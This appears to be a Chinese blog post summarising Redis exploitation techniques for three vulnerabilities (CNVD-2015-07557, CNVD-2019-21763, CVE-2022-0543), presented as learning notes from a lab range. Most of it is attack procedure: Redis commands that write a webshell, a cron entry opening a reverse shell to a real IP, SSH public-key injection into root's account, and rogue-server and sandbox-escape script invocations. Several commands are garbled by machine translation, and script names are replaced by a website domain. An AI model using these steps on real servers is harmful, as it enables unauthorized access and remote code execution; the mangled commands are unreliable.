当前位置:编程学堂 > Redis漏洞汇总

Redis漏洞汇总

  • 发布:2023-10-01 20:23

Redis未授权--沙箱绕过--(CNVD-2015-07557)&&(CNVD-2019-21763)&&(CVE-2022-0543)

环境重现

使用Vulfocus射击场重现环境,官网docker搭建有问题。具体搭建教程请参考vulfocus同步失败/vulfocus同步失败的解决方案

CNVD-2015-07557 未经授权的访问

受影响版本

Redis <= 5.0.5

漏洞检测

使用端口扫描工具检测目标主机使用Redis服务
对于Redis服务的越权访问,首先需要确认是否存在Redis越权访问,并使用Redis数据库客户端进行连接测试。如果没有密码,即存在未授权漏洞。
客户端连接工具另一个Redis桌面管理器
具体表现如下

利用

利用该漏洞的方法有3种。每种方法都有限制。本质是利用Redis数据库操作语句在目标主机上写入文件。

  • 写入Webshel​​l
    使用条件:Web目录权限可读写
config set dir /tmp #设置WEB写入目录
config set dbfilename 1.php #设置写入文件名
set test "" #设置文件写入代码
bgsave #保存执行
save #保存并执行

注意:部分目录权限没有读写权限

  • 编写定时任务反弹shell
    使用条件:使用ROOT账户启动Redis服务,并关闭安全模式protected-mode。 Centos会忽略乱码来执行格式正确的任务计划,但Ubuntu不会忽略这些乱码,所以命令执行失败
config 设置目录 /var/spool/cron
设置 yy "\n\n\n* * * * * bash -i >& /dev/tcp/47.94.236.117/5555 0>&1\n\n\n"
配置集 dbfilename x
节省
  • 写入 ssh-key 公钥
    使用条件:使用ROOT账号启动Redis服务,并关闭安全模式protected-mode
    允许使用密钥登录,可以远程写入公钥,直接登录远程服务器
cd /root/.ssh/
(echo -e "\n\n"; cat id_www.sychzs.cn; echo -e "\n\n") > key.txt
猫钥匙.txt | redis-cli -h 目标IP -x 设置xxx
//以上步骤是在自己的攻击机上执行
配置集目录 /root/.ssh/
配置集 dbfilenameauthorized_keys
节省
cd /root/.ssh/
ssh -i id_rsa root@目标IP

详细的利用步骤请参考Redis未授权访问漏洞复现与利用

  • 自动化脚本
    下载地址Redis Rogue Server
    使用方法:
python www.sychzs.cn --rhost 目标IP --rport 目标端口 --lhost IP

此脚本需要在VPS上运行。脚本运行后,目标主机会将信息发送回攻击机器。

CNVD-2019-21763 未经授权的访问

受影响版本

Redis 2.x、3.x、4.x、5.x
由于Redis 4.x及以上版本新增了模块功能,攻击者可以通过外部扩展的方式在Redis中实现新的Redis命令。攻击者可以利用该功能引入模块,导致被攻击服务器在未经授权的情况下加载恶意.so文件,从而实现远程代码执行

利用

  • 自动化脚本
    同上

沙箱绕过CVE-2022-0543

受影响版本

Debian Linux 发行版 + Ubuntu

CVE-2022-0543 此 Redis 沙箱逃逸漏洞影响基于 Debian 的 Linux 发行版。这不是 Redis 本身的漏洞。该漏洞是由于系统补丁加载了redis源码中一些带注释的代码导致的

利用

python3 www.sychzs.cn -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/www.sychzs.cn -c "id"

以上内容仅供学习记录。如有错误或纰漏,敬请批评指正。感谢您的阅读。

相关文章